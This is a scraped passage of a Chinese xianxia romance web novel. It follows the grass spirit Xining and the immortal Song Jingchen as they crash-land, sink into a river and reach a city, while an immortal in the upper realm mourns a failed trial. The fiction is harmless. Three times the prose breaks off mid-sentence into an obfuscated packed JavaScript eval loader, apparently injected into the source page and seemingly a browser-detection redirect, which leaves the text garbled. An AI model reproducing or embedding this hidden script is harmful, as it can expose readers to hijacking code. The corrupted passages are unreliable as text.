“宋仙君,我们真的要靠两条腿赶路吗?” 熙宁有些喘气,虽说她现在没什么事可做,但也不能把时间浪费在走路上啊,更何况他们二人都没有用灵力护体,冻死在路上算谁的? 宋景辰停下脚步:“那便试试飞行吧。” “真的?”熙宁顿时来了精神,“你有渡云?” “差不多吧。” 熙宁倍感惊喜,想来也是,现在有钱的修士为了节约时间,大多都会养殖渡云。 这些渡云自带屏障,可以隔绝风雨,形状与天上的云朵没什么两样,唯一不同的就是渡云大多有自家主人设下的禁制,以防被人偷走。 熙宁抬头看向天空,那里果然飘着几朵形迹可疑的云朵,她来了兴致:“我就知道宋仙君实力不凡,让我猜猜哪一朵是你养殖的。” 半刻钟后,两人站在今早那把破剑上,剑身微沉,悠悠晃动着,随后颤颤巍巍地升起。 长剑离地数尺后,骤然加速,寒风裹挟着雪花迎面扑来,刮得熙宁脸颊生疼。速度猛地一起,她一个重心不稳直接向后仰去,慌乱之下她只得双臂向前一环,死死抱住宋景辰的腰身。 宋景辰身体一僵,背后传来的温热让他晃了神,长剑在空中划出一道歪斜的弧线。 “别乱动。”他稳住剑身后,低声道。 熙宁也吓得不轻,但她才不懂什么男女大防,又还沉浸在由渡云转到破剑的落差中,只把脸埋在他背后,声音闷闷地传来:“明明是你的剑飞得太快了,而且风刮在脸上可疼了。” 对方没有理会她的抱怨,但熙宁能感觉到风雪似乎被一层无形的气罩挡开了些许。 “你用灵力挡住了风雪?” “废话,你不怕冷我还怕呢。”宋景辰只回了这么一句,便操控着长剑破开雪幕,朝着远方的山峦疾驰而去, 熙宁撇了撇嘴,垂眸看向脚下的碧落川,曾经辉煌的萧王府如今只剩断壁残垣,墙根的荒草比人还要高,几条青石街道从王府门前延伸出去,道两旁的商铺也早已被野草掩盖。 她听歪脖子树说起过,一百多年前,这里还由大启王朝统治,皇帝觉得修仙之人不过是方外之士,便下了道旨意,断了与各大宗门的往来。 后来妖族从北境南下,凡人军队的长矛弓箭又怎么敌得过妖法,仅一个月便丢了八座城池。皇帝终于慌了,派人去宗门求援,信使在山门前跪了三天三夜,始终无人应答。 最后挡住妖族的是萧王。 据说他幼时便在宗门学习术法,后来他更是动员人族散修组成军队,夺回城池,又在秦云岭血战数日,斩妖无数,彻底将妖族击回北境。 战后,他上书朝廷,请旨驻守边关,皇帝允了。萧王便带着全家老小,在这荒僻之地扎下根来,一守就是十年。 十年里妖族没再越过秦云岭半步。 十年后,京城却传来圣旨,说萧王拥兵自重,意图谋反。御林军半夜围了王府,火把照得通明,萧王没有反抗,跪在地上接了旨,只回了一句话:“谢主隆恩。” 那天夜里,萧王府一百多口人,尽数伏诛。 萧王死后一月,妖族便再次南下。 由萧王组建的军队也散了心,不听朝廷调遣,然而不知怎的,这次各大宗门终于出手。几位三阶修士联手布下大阵,与妖族在秦云岭斗上三日,最后划下界线——以萧王府为界,往南十里,彻底进入人族地界,妖族不得逾越。 皇权自然也在那场战乱中土崩瓦解。而联手布下大阵的修士中,衡门宗泰清掌门不幸身亡,人们为了纪念他,便以泰清为新的年号。 到如今已经是泰清一百一十二年,人族划为三域,由各大宗门及其域主统御,再没有人称帝了。 而这里作为两族交界,自然也就荒废了,后来还是清衡司将此处命名为碧落川。 熙宁收回思绪,她感觉到飞行的速度正在一点点减缓,甚至还没有步行来得快,她不由得发问:“宋仙君,你的剑真的能将我们安稳送到人族地界吗?” “当然了,你别忘了,我可是上清宫的仙君。”此时的宋景辰不明白对方为何有此一问。 半刻钟后,两人随着那把破剑,一同从高处惨惨坠落下来。 宋景辰收起剑,从容地拍了拍身上的泥土,赶在熙宁说话前,指着一旁的渡口道:“你看,这不是乘月渡嘛,过了这江,我们便到南玄不夜城了。” 熙宁偏头一看,还真是乘月渡,从这里开始便算作是人族地界。 也许是觉得自己还得陪在这小草精身边几日,所以宋景辰话不由得多了起来:“怎么样,本仙君向来不做没有把握的事,我们是不是平安进入人族地界了?” 如果现在是阿羬在身边,那宋景辰一定会收获到一阵发自内心的掌声。 但现在是熙宁,她只是点头表示认可,而后又很好奇地问:“所以你刚才是生气了吗?” 因为自己质疑他的能力而感到生气。 “没有啊。”宋景辰有些摸不着头脑。 “那你刚才为什么要把我们从天上扔下来?” “欸,你看,有船来了,”宋景辰拉着熙宁便往渡口赶,“得快点,不然又要等下一趟。” 宋景辰率先踩着晃悠悠的跳板上了船,回身扶了熙宁一把,两人在船舱里坐定。 “去不夜城。”宋景辰道。 船夫是一个精瘦的老头,竹篙一点,船便离了岸。微风拂过江面,雪势渐小,熙宁回头望向空无一人的渡口,觉得这位宋仙君有些奇奇怪怪的。 岸上本就只有他们两人,怎么会不赶趟呢? 她看向坐在对面的宋景辰,微微叹了一口气,难怪会历劫失败。 熙宁又想起昨夜的事,那只灵兽分明是想杀了她,可宋景辰却徒手接刃,应当是要救她的。 但是为什么呢? 灵兽应该是听命于自己的主人才对。 难不成是因为羊要吃草是难以更改的天性,所以阿钱才会忍不住要杀了她。 如此想来也解释得通,这位宋仙君没有允许自己的灵兽胡作非为,倒也是一个值得深交的朋友。 说不定他现在之所以要为她买衣裳,就是因为心怀歉意,想要补偿她,熙宁越想越觉得有道理。 而宋景辰看着熙宁一直盯着自己,生怕对方下一秒又要继续追问,便紧急挑起一个话题:“这渡口叫乘月渡,同这江上的景色倒是般配。” 熙宁也附和道:“是啊,和画里一样。” 此话一出,船夫却忽然笑了:“二位莫不是第一次过江,万物可不能只看表面,这江面看着平安无事,底下可凶险着呢。” 宋景辰挑眉:“哦?” “这江底下,有水猫,”船夫的声音不由压低,“力气大得很,能将人生生拖进江里淹死。” “水猫?”熙宁听着有些新奇,她还没见过住在江水里的猫呢。 “可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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话音刚落,船身猛地一晃,两人还没来得及反应,便见船夫一个鱼跃,“扑通”一声便进了江里,动作连贯利索,就连水花都压得很小。 “……”熙宁愣住了。 “……”宋景辰也愣住了。 两人对视一眼,齐齐往船边望去,船夫正在水里扑腾着往远处游,一边游一边不忘关怀自己的顾客:“二位保重,老夫先行一步。” 这时,船底传来“咔嚓”一声巨响,二人低头一看,船板从中间裂开,一只青黑色的爪子从中探出,一把抓住熙宁的脚踝。 熙宁死死抓住船舷:“宋仙君赶紧出手啊,现在四下无人,你无需让三招了,直接一招把它拿下。” 宋景辰一时无言,他御剑时灵力就已耗光了,现在拿什么对付盲獠。他赶紧去拽熙宁,只是那水猫力气大得惊人,要连着他一同往船底拖去。 熙宁:“船夫是不是说主动跳江就没事了?” “那你倒是跳啊。”宋景辰急了。 “可我不会水。”熙宁也急了。 “我也不会。” 二个旱鸭子还没说完,船身便彻底翻了,两道落水声同时响起。 冰冷的江水将熙宁包裹,她不断挣扎着,却只能看着自己往江底沉去,裙摆在水中散开,像朵即将落败的花。 熙宁看着头顶的天光渐渐远去,脑海中忽然冒出一个念头——她家住得也太偏了。 又是御剑又是坐船的,她只是想要进个城而已,怎么就生出这么多事端呢? 头顶的天光又暗了些,她闭上眼睛,感觉有什么东西从身边游过,尾巴扫过她的腰身,痒痒的。 估计是那只水猫吧。 熙宁也没力气动了,就这么任由自己往下沉,可那水猫只绕着她游了一圈便走了。 临走前,熙宁还听到了水猫的叹息声,她疑惑地睁开眼,看见那道青黑色的身影渐渐往上方远去,随后又转头拽着宋景辰往下沉。 她忽然又觉得好笑。 他们两个短命鬼今天是都得死在这里了,也好,早死早投胎,下辈子她可不要再做野外的小草了。 至少也得做个城里的小草。 想到这,她认命地抬起手,等着宋景辰沉下来。 5. 江底遇难(二) 熙宁的手刚探出去,腰上却忽然一紧,不是水猫的尾巴,而是另一股无形的力道,猛地将她往下一拽。 她整个人还没来得及反应,便重重地往江水深处持续坠去,她下意识想喊,却只吐出一连串气泡。 头顶的天光彻底消失,水压变大,耳膜嗡嗡作响,熙宁感觉自己快要被挤扁了,熟悉的窒息感让她仿佛又回到了被剥去灵脉的时候。 这时,上方传来水声。 她看见那道青黑色的身影正拼命地往下游,尾巴甩得飞快,似乎是要将她拉上来,她感觉水猫离自己越来越近,越来越近…… 然后,她穿过一层薄膜,周遭的水声忽然消失了,下坠的速度变得更快,两侧变成狭窄的岩石,只能容纳她一个人通过。 上面的薄膜迅速合拢,水猫的爪子堪堪擦过她的衣摆,勾断了一根丝线。 紧接着,是一声闷响。 “砰——” 熙宁仰着面,眼睁睁看着那薄膜上透出一团暗色的血雾,慢慢地向四周洇开,然后那道青黑色身影贴着那层看不见的屏障,再也没有了动静。 水猫死了。 它是为了救她才撞上去的吗? 应当不是,盲獠本就是没有灵智的妖兽,天生嗜血喜杀戮,又怎么会救人。 熙宁张了张嘴,却发不出任何声响,只有江水灌入。她还在不断往下掉,这地缝深不见底,周围漆黑一片,又只剩下她一个人了。 正想着,她的背后忽然一暖。 好像有什么东西贴了上来,紧接着一双手臂从身后环住了她,将她整个人圈进了怀里。 不等她反应,两人一同跌落在江底的岩石上,身后的人闷哼一声,应当是受到了不小的撞击,环着的手臂也随之一紧,然后又无力地松开。 熙宁脑子懵了好一会,才有些回过神来,此时,她似乎已经来到了江底,地底下不知隐藏着什么,正泛着幽幽的红光。 熙宁又转头看去,竟然是宋景辰垫在了她身下。 他怎么会在这? 堂堂仙君,明明都病弱到连只盲獠都打不过了,竟然还会舍身保护她。 熙宁不禁有些动容,这人还真是值得深交的朋友。 宋景辰脸色有些苍白,他原本因为呛水已经昏了过去,但是刚刚有一股强力召唤,他被迫给这小草精当了肉垫,剧烈的疼痛让他瞬间又清醒了过来。 见熙宁呆愣愣地看向自己,他强忍着不去管火辣辣的后背,从容地扯出一抹笑,示意熙宁别担心,自己好得很。 而熙宁正面对面趴在宋景辰的身上,起身时双手撑在他的胸膛,却再次感受到了昨夜的温热,她感觉一股力量从源源不断地涌进身体里。 熙宁微微瞪大眼睛。 难不成真的只要有亲密接触,她就能获取力量吗? 宋景辰见熙宁一直趴着不动,不由皱起了眉,这小草精怎么回事,再压下去他可就真装不住了。 他正要抬手,便见上方的少女忽然低头吻了下来。 宋景辰眼睛倏地睁大,他下意识想躲,可后背疼得厉害,浑身被压着使不上劲。 唇瓣相触的那一刻,熙宁的脑子也空白了一瞬。她不知道自己在做什么,只是那股力量太过温暖,她忍不住想要靠得更近一些,等到回过神来,她已经吻了上去。 宋景辰浑身一僵,他抬起手要把这不知死活的小草精推开,可那手抬到半空,却又停住了。 熙宁也没动。 她闭着眼睛,感受到那股温热从两人相触的地方源源不断地涌来,这一次比昨夜还要浓烈。 太舒服了。 熙宁忍不住又往前贴了贴。 身下的人猛地一颤。 宋景辰那只抬到半空的手落了下来,转而攥住了熙宁的手腕。 熙宁睁开眼,对上他的目光,他那双漂亮的眼睛里如今满是茫然,还有一种说不清道不明的情绪。 宋景辰从未和女孩子相处过。 他自幼便父母双亡,拜入云来宗门下,因天赋极佳,成为了首席弟子。后来,他被带往后山,几乎与世隔绝,师父将全部的厚望都寄在了他身上,指望他早日飞升,为宗门争光。 “记住,”师父常说,“无欲无求,不滞于物,这便是你的道。一旦被世俗的情爱纠缠住,你多年的苦练便将毁于一旦。” 师父的教导,他一直记着。 他把自己关在后山,没日没夜地修炼,与同门师兄弟都不怎么亲近,师妹们更是没有见过。 后来,他飞升了。 仙界更清冷,上清宫是后仙族中最厉害的仙宫,可在他看来,不过是另一座更大的后山。他依旧一个人修炼,一个人悟道,一个人度过了漫长的百年岁月。 直到今日,这小草精是第一个离他这么近的人。 他的修为要毁于一旦了吗? 宋景辰躺在那,仰面看着头顶无尽的黑暗,心里乱成一团,师父的话在脑海里转了一遍又一遍,身上的人却还在趴着,甚至很坦然地对上了他的视线。 他该推开她的。 宋景辰抬手,落在熙宁肩上,轻轻推了推。 熙宁会意,连忙从他身上下来,反正她刚才也吸够了。 宋景辰也坐起身,他看向一旁的熙宁,暗暗发誓等到出了江底,他一定要问问这小草精,到底为什么要亲他? 而熙宁却不知道自己的举动给宋景辰带来了这么多困扰,幽幽的红光正映得宋景辰的脸白里透红,比往日还要好看上几分。 宋景辰见熙宁呆愣愣地盯着自己,心跳有些莫名加速,他闭了眼。 师父,徒儿好像真的遇到麻烦了。 宋景辰原本是想眼不见为净,可等他再次睁开眼,却发现自己已经离开了地缝,下方是还沾着血迹的薄膜,那只水猫的尸体已经消失不见,只留下淡淡的白光,是旧仙族的气息。 原来是下凡历劫的旧仙族,也不知道是哪个宫的倒霉蛋,投胎成水猫也就算了,还就这么无缘无故地撞死了。 宋景辰摇了摇头,不再去想,转而看向黑漆漆的地缝,那只小草精还在里面。 这碎片也太过护主了,熙宁一有危险就强行拉他过来垫背,刚脱离危险就把他送了出来。 好你个碎片,是不是忘了到底谁才是你的主人? 但宋景辰已经来不及生气了,因为他快在水底下憋死了,再没个人来救他,他可能就真的要死在这了。 堂堂仙君,如今竟要死于溺水吗? 这时,一道金光自江面俯冲而下,包裹住宋景辰,将其与江水完全隔绝。 宋景辰看向来人,是阿羬。 她围着宋景辰转了一圈,满脸担忧。 “阿羬,我没事,就是熙宁她还在里面,”宋景辰看见阿羬顿时松了一口气,他连忙指向地缝,“得赶紧想办法打开这个透明的薄膜。” 阿羬歪着头,呆呆地看着自己的主人,不明白主人为什么要救那个人,但她还是听话地来到薄膜前,开始施法破解。 * 熙宁依旧坐在原地,她还没从宋景辰突然消失的震惊中回过神来,便感觉到地底下的东西在震颤。 明明是在水里,可她现在却感觉到一阵燥热。地底下有东西在烧,她此刻仿佛身处在火炉中,周身是沸腾的热水,要将她彻底烧熟。 太热了。 她迫切地想要寻找凉意,地底泛出的幽幽红光已经照得她满脸通红。 熙宁站了起来。 可刚一站起身,头顶的江水忽然变得冰冷刺骨,直勾勾地往下压,冻得她打了个哆嗦,而脚底下却依旧滚烫。 江底的空间不大,熙宁就这么站着,冷气从天灵盖往里钻,热气从脚底往上涌,冷热交替,她感觉自己快被巨大的温差给折磨死了。 熙宁咬着牙,脑海中突然冒出一个大胆的念头。 要不试试用这冰冷的江水,浇灭地下的火焰? 幸亏刚才从宋仙君身上获取了一些力量,熙宁开始试着运转灵力,仅存的一些微末灵力在她体内转了一圈,然后无数细嫩的根须从她的脚底往外钻,越生越多,越伸越远,很快就把地面给铺满了。 她闭上眼,试着把地底的热气通过根须吸上来,那股热气果然顺着根须往上爬。温度太高,有些根须被烫得蜷缩起来,熙宁咬着牙,继续一点一点将热气往身体里引,直到地底下的热度完全消退。 差不多了,现在几乎所有的热气都在她体内了。 熙宁开始向上吸,江水的凉意吸起来比热气顺畅,可等到这两股力量在她体内真正相遇,它们竟直接撞了起来。水气追着火气,火气也缠着水气,两股完全对冲之力在经脉里横冲直撞,扰得熙宁心神不宁,已经显露出走火入魔的前兆。 熙宁想让它们停下来,可它们不听她的,反而越打越激烈。最后,“砰”的一声,所有根须齐齐炸开,白色碎屑在水中四散飘落,熙宁被震得向后一仰,险些摔倒。 她睁开眼。 地裂深处,一片寂静,冷意和热意都没了。 熙宁眨了眨眼,低头看向自己的双脚,根须被炸没了,但她却感受到了前所未有的轻松,仿佛原本有什么东西束缚在她的双脚上,现在却消失了。 这就把两股力量给吸纳了? 熙宁有些不敢相信,她想起自己能够越级修出灵脉,又在仙考中取得第一,现如今就连地裂中的两股对冲之力都能轻松容纳吸收。 莫非她真是修仙天才? 熙宁感觉自己的身体轻盈了许多,她似乎对凫水这个本领无师自通了,而且还能在水中呼吸。 发觉到这一点,她连忙顺着岩壁往上游去,不多时她便隐约瞧见了一点天光。 头顶的薄膜在这时突然破裂,发出清响。一颗扎着双髻的脑袋正探头探脑地往下看,紧接着,那道熟悉的红色身影也凑了过来,看见熙宁只不冷不热地说了一句: “你还活着啊。” 好像对此很是惋惜。 熙宁仰头望着宋景辰,上面的金光也迅速将她包围,隔绝了江水。她咧嘴一笑,声音有些沙哑:“宋仙君别担心,我活着呢。” * “你死了?” 明祈没想到自己特意托关系开了后门,结果自己的弟弟依旧历劫失败了,还是在水里一头撞死的。 太丢人了。 “明羡,这已经是你第二次历劫失败了,”明祈的话音染上了些许怒意,“你究竟要怎样?” 明羡第一次历劫是在百年前,他投胎成了一只流浪狗,按理说他只要每天找点吃食,如此度过三年就算历劫成功,可结果他竟然直接把自己活活饿死了。 好,这毕竟是第一次历劫,明祈表示可以理解,或许只是自己的弟弟不太擅长当狗。 此后,明羡也消沉了将近百年,明祈到处拖关系,神使司这才为明羡安排了一个比较容易的劫数,只需投胎成一只水猫,陪着自己的主人寿终正寝即可。 当狗不行,当猫总行了吧,这次还是一个有主人养的家猫,肯定是饿不死了,只要每天吃点鱼干,陪着主人就行。 结果确实没被饿死,反而自己把自己撞死了。 明羡斜倚在宫墙前,很平淡地接受了自己再次历劫失败的事实,他乜了明祈一眼,一副吊儿郎当的样子:“死了就死了呗,怎么,嫌我给你这个天玑宫宫主丢人了?” “你还知道你是天玑宫的人,你代表的可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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明羡又想起了百年前的事,那时他是一只流浪狗,萧王府的小世子却日日来投喂他,直到有一日,小世子再也没来过,他接连在街口等了几日,却等来王府被抄家的消息。 他一时伤心过度,再加上许久没有进食,竟直接两眼一黑,饿死了。 后来,他直接闭关了百年,结果这次历劫却害死了一个无辜之人。 不行,他必须下界一趟,就算那姑娘死了,他也得好好将人安葬。 明羡想到这,便往神使司赶去。下界需有通行令牌,但所幸他的嫂子是神使司的任职仙官,这不算什么难事。 * 下界 从江底上来时,二人浑身都湿透了。 阿羬站在宋景辰身前,乖乖地帮主人烘干衣裳。 而熙宁自己歇了好一会,才终于缓过来,开始收拾。 她的头发平日里都是编好的,耳朵两侧都梳着一个圆鼓鼓的花苞髻,花苞下面各垂着两条麻花辫,辫尾用细发带绑着,垂在身前。 如今四条麻花辫都湿透了,熙宁索性将辫尾解开,再用术法小心烘干。辫子顺着原本编出的弧度散开来,变成了两缕微卷的长发,软软地垂在身前。 “幸好有阿钱,我们才能顺利上岸,”熙宁自己烘干后,躲到宋景辰身后,一手紧攥着他的衣袖,一手小心翼翼地同阿羬打着招呼,“你好呀,我是熙宁。” 或许是带着两个人上岸太过劳累,阿羬的脸颊红彤彤的,她朝着熙宁点了点头,发髻上别着的两个小铃铛也随之晃了晃。 熙宁顿时被可爱到了,很想伸手摸一摸阿羬的脑袋,但一想到昨晚的事,她又生生忍住了。 宋景辰没注意到熙宁的害怕,他正思索着该怎么开口询问方才之事,一抬头却看见阿羬正盯着他们二人。 他咳嗽一声,示意阿羬先走,阿羬歪了歪头,她觉得主人变得不对劲了,但她还是听话地离开了。 “熙宁,我有话问你,”宋景辰这才转身看向熙宁,磕磕绊绊道,“你……刚刚,刚刚为什么要……要……” “为什么要亲你?”熙宁替宋景辰问了出来。 宋景辰别扭地“嗯”了一声。 “我也不知道,就是想这么做啊。”熙宁坦白道。 “可是,你知不知道,只有相互喜欢的人才能这样做。” 熙宁摇了摇头,随后似乎又是懂了,猛地点了点头:“我知道了,那我就是喜欢你。” “你怎么能喜欢我!”宋景辰被吓了一跳。 “我为什么不能喜欢你?” 宋景辰刚要问她喜欢自己什么,便被不远处赶来的船夫打断了。 “二位没事吧?”船夫满脸担忧地询问。 宋景辰收起情绪,又端起一副高冷的神态:“没事,只是这渡江的钱……” “不用了,不用给了!”船夫连忙摆摆手,“既然二位没事,那老夫便安心了。” 说罢,不等对方回答,他便转身离去。 那红衣公子一看就是不凡之人,这次小水肯定拿到了不少钱财,他得赶紧回家去,幺儿还等着他呢。 而宋景辰被这么一打断,也没有勇气再继续追问下去了,他回头板着脸:“走吧,进城。” 熙宁亦步亦趋地跟上去,她不明白宋仙君怎么又生气了:“宋仙君,你怎么了,有不开心的事要说出来嘛,不然憋在心里多难过……” “诶呦!” 宋景辰突然停下脚步,转过身,熙宁一个不留意撞了上去,她揉了揉额头,抬眸看向宋景辰,有些埋怨:“怎么突然停下来了?” “抱歉,”宋景辰抿了抿唇,低头看向熙宁水汪汪的眸子,随后憋出一句,“不过,你以后不许再亲我了。” 这样下去,他的修为会毁于一旦的。 熙宁撇了撇嘴,有些不情愿,但宋景辰一直盯着自己,似乎一定要得到一个承诺。 “诶,你看,城门开了!”熙宁转而拉起宋景辰便往城门赶,“得快点,不然不赶趟了。” 6. 落魄仙君逆袭第一步 南玄不夜城近几日似乎在筹备什么盛事,所以守卫异常森严。 所有人在进入不夜城前,需要在城门前的问源石上验明身份,若问源石无异常便可进入;若问源石显出黄色,便代表此人是妖族,需有清衡司的路引方可进入。 所幸熙宁并无根心,问源石没有探查出她的妖族身份,二人便顺利地获得了通行令牌,入了不夜城。 逢节的都城最是热闹,人群熙熙攘攘,车水马龙,街道上摆满了各类小摊,叫卖声不断。而道两旁也已提前挂满了各类各样的彩灯,若是到了晚上定然靓彩夺目。 熙宁之前一直待在碧落川,由于本体是草木,根系极为依赖故土,她也实在没办法出远门。这一次,她原想着反正也活不长了,那便来外面的世界看看,就算根系因常时间离家而枯败,她也死而无憾。 可方才在江底裂隙中,她意外炸毁了根系,性命不仅没有受到影响,反而还没了束缚,熙宁虽然搞不清缘由,但这也算是因祸得福。 想到这,熙宁的步伐不禁轻快了几分。 走在前头的宋景辰时不时看向身后的人。 也不知道这小草精又在想些什么,都不看路的。 于是宋景辰故意停下脚步,身后的人果然撞了上来,他转身,嘴角微微扬起:“想什么呢,这么不专心?” 熙宁揉了揉额头,还没来得及回答,左手便被宋景辰握住。 “人多,走丢了还得我去找,牵着放心些。”宋景辰站到熙宁身侧,目视前方,语气平淡道。 只是掌心的温度有些微凉,让宋景辰不禁皱了皱眉。或许将死之人都会如此吧,想到这,宋景辰不自觉地握紧了熙宁冰凉的手。 熙宁低头看了看被握住的手,又抬头看了看宋景辰正刻意板着的侧脸。 总感觉从江底出来以后,宋仙君都变得更加有人情味了。 熙宁不解,但只是眨了眨眼,乖乖地“哦”了一声,便由着他牵着走了。 二人很快来到一家成衣铺,宋景辰将熙宁往前一推:“随便挑,本仙君买单。” 熙宁倒也没客气,大大方方地走了进去。铺子里挂满了各色成衣,从素雅到明艳,应有尽有。 掌柜的还没来得及介绍,熙宁已经自己转了一圈,伸手点了四五件和眼缘的:“这件,这件,还有这件,都要了。” 掌柜的先是愣了一下,随即眉开眼笑,连忙让小厮将选中的衣裳取下来。 趁着打包的时间,熙宁回头看了宋景辰一眼。 宋景辰正斜靠在门旁,双手抱臂,姿态懒散,察觉到熙宁欲言又止的目光,挑了挑眉:“怎么了?” “那个,”熙宁凑近几步,压低声音道,“宋仙君,你确定带够银钱了吧?” 宋景辰闻言,慢条斯理地伸手摸了摸腰间,又摸了摸袖中,脸色微变。 “不巧,钱袋子不见了,”他也压低声音,“许是方才在江里掉了。” “什么?”熙宁一愣,眼睛逐渐瞪大,“那我们还不快走?” 说着,她抬脚便要离开,手腕却被人握住。 宋景辰低下头,笑意从眼底漫开:“骗你的。” 熙宁还没反应过来,就见他从乾坤袋中随手掏出了一根金条,扔给一旁的掌柜。 “这、这……公子,小店也找不开啊。” “不用找了。” 掌柜看了看手中的金条,眼睛笑得眯成了一条缝。 宋景辰转向熙宁:“怎么样,银钱没了,但本仙君还有金条。” 熙宁仰头看他,半晌,由衷地感叹了一句:不愧是给灵兽取名叫阿钱的人。 随后,熙宁换上了一件青碧色的衣裙,剩下的几件都被宋景辰收进了乾坤袋中,二人出了铺子,日头正好。 “还想去哪逛逛?” 反正也活不了几日了,在临死前带她好好地玩乐一番也好,宋景辰想着。更何况方才在江底还发生了那样的事,她初化人形什么都不懂,但他得负责到底。 熙宁却不知道宋景辰心中所想,她思考着,目光在街道上来回扫着,忽然被前面的一阵喧闹吸引了目光。一群人族修士围在那里,里三层外三层的,议论声不小,但离得有些远,听不大清楚。 “走,去那里看看。”熙宁反手拽住宋景辰,拉着他往那边跑。 * 上界 也不知道今日门口值守的仙官又去了哪里消遣,竟然没有一个人把守,明羡大摇大摆地踏进神使司,在外厅东张西望了一番,没找到嫂子的身影。 但他也不太敢继续往里找,毕竟这神使司是直属于神界的,每隔十年都会换两个神族来交替接管神使司。 如果他没记错的话,现在接管神使司的正是两位创世神,扶光和昭月。 这两位神明与其他后天通过修炼历劫飞升的神族不同,她们自天地初开时便已存在。许是活得太久了,一点人情味都没有,行事雷厉风行。明羡兄长的雷刑就是昭月亲自执行的,没有丝毫留情,一点都不顾及天玑宫的颜面。 所以明羡可不敢在神使司随意放肆,虽然他嫂子是个仙官,但也就只能在下界的清衡司说得上话,在这里也没多少特权。 不过算算日子,还有一年不到就又要轮值了,可算要摆脱这两个上古神了。 明羡就祈祷,这次换谁下来都行,只要不是那个刚飞升的玄辰都好说,毕竟他兄长和这个玄辰可不对付,他就怕到时候会殃及池鱼,虽然他和他哥一向不合。 “奇怪,人都去哪了?”明羡收起思绪,站在外厅又等了一会儿,还不见有人来接待他,便小声抱怨着,“怎么回事,这神使司的办事效率也太低了。” “明羡仙君?” 正当明羡打算改天再来时,录事堂方向走出来一个穿着靛青色衣袍的仙官,那人朝着明羡赶过来,“可是有什么事务要办理?” 明羡皱着眉上下打量了一番来人,贺司衡,七品录事卫,和他嫂子一个职位,同时还喜欢他嫂子。 “这外厅怎么连个人都没有,竟然还要贺仙官亲自出来接待?” 贺司衡笑了笑:“还不是上个月明祁仙君那事,昭月上神特意将人都喊去训话了,就留我在这值守,据说还打算办场盛会,以此促进后仙族和旧仙族的团结友爱。” “呵,”明羡也笑了笑,他往录事堂望了望,“我嫂子也去了?” “你找溪止仙君有什么事吗?” 明羡也没绕弯:“我要下界一趟,缺个通行令牌,你们录事卫不就是管这个的嘛?” “这个好办呐,找我也是一样的,”贺司衡凭空取出一枚空白玉牌,“你下界做什么去?” 明羡垂眸摸了摸鼻子,声音沉闷:“我这次下去是为了私事,不太能走在明面上,也不想留记录。” 他见贺司衡明显一愣,又补充道,“是我历劫的事,想去善个后,怎么样?” “这可不太好办啊,每个令牌都是有编号的,从签发到使用再到回收,接入天网,全程留痕。更何况这历完劫,那些人与事都已经与你无关了,后面再怎样都是他们的命数,仙君何必牵挂。我要是随意给你写一个,这万一查出来你去插手下界之事,我的仙官可就不保了。” “所以别写我名字啊,”明羡理所当然地说,“你就写某某仙官下界巡察,令牌给我用就行,这又不是什么难事,每天下界巡查的仙官何其多,查不到的。” “你想让我挪用公务令牌给你?”贺司衡略显为难,他收起令牌,“这事我办不了,你要不还是等溪止仙君回来吧。” 明羡乜了他一眼,没好气道:“白费我这么多口舌,我本来也就是要找我嫂子的,她人呢,什么时候回来?” 贺司衡也没恼,只是笑了笑:“她去下界主持潜龙斗会了,一时半会回不来。” * “潜龙斗会?” 熙宁拉着宋景辰在人群外围听了个大概,这似乎是每十年一次的盛会,普通一境修士都会来此参赛,为期七天。 他们会进入秘境,秘境各处分布着幻灵花,七日后按照他们采得的数量依次排名。当然秘境里也有猛兽出没,稍有不慎就会沦为它们的食物,凶险万分。 “怎么,感兴趣?”宋景辰算了算,离比赛开始还有一天,应该还有命去观个预选赛。 熙宁其实对比赛不感兴趣,但是对前十名的奖励很感兴趣。据说是一枚可以延长寿命的丹药,只可惜她不是人族,参加不了比赛。 她摇了摇头,还没开口,一道声音从身后传来。 “这位姑娘。” 熙宁回头,看到一个蒙着面纱的女子站在几步之外。那女子身量不高,一袭素衣,露在外面的眉眼弯弯,让人见了便如沐春风。 “你是?”熙宁问。 “我和姑娘都是一样的,”女子声音轻轻柔柔,说的话却让人一头雾水,“不如去酒楼一叙,如何?” 闻言,宋景辰不动声色地往前挪了一步,挡在熙宁身前,目光打量着这女子,直觉告诉他这人不简单:“有什么话直接在这说便是。” 女子没看他,只是望着熙宁:“姑娘觉得呢?” 熙宁此时也说不上来为什么。 她看着那双眼睛,心头莫名涌出一股亲切感,好似这女子身上有种力量与她同源。 “好。” “熙宁。”宋景辰略微皱眉。 “没事的,”她转头看他,只轻声说了一句,“反正现在是烂命一条。” 她有什么可害怕的? * 酒楼名叫听雨轩,就在潜龙斗会报名点的对面。那女子显然早就定好了包间,掌柜的一见她,亲自引路,态度恭敬得很。 包间在二楼尽头,推开窗正好能看到对面来来往往的修士。女子等茶水斟满,小厮都退了出去,这才抬手摘了面纱。 熙宁一愣,不是因为这张脸,而是面纱摘下的瞬间,她便察觉出来了。 这女子是草木一族,还是仙界之人。 熙宁唯一能想到的就是那个在一百多前,草木一族中唯一飞升成仙的传奇人物。 “我叫溪止,”女子微微一笑,显然知道对方已经将自己认出来了,“是神使司的仙官,负责此次的潜龙斗会。” 她将面纱搁置在一旁,“抱歉,为了不让其他人察觉,我便用面纱掩盖了自己的气息。” 宋景辰端坐在一旁,握着杯盏的手微微一紧。 溪止? 他听说过这个名字,一百多年前草木一族出了一个修仙天才,据说是以小溪畔蒲草之身逆天修行,渡劫飞升,让草木一族从此有了仙界的靠山。 他原本也不关心这些事,只是这溪止仙君作为后仙族,竟然拜入了天玑宫,成了那宫中唯一的后仙族,更让最厌恶后仙族的明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 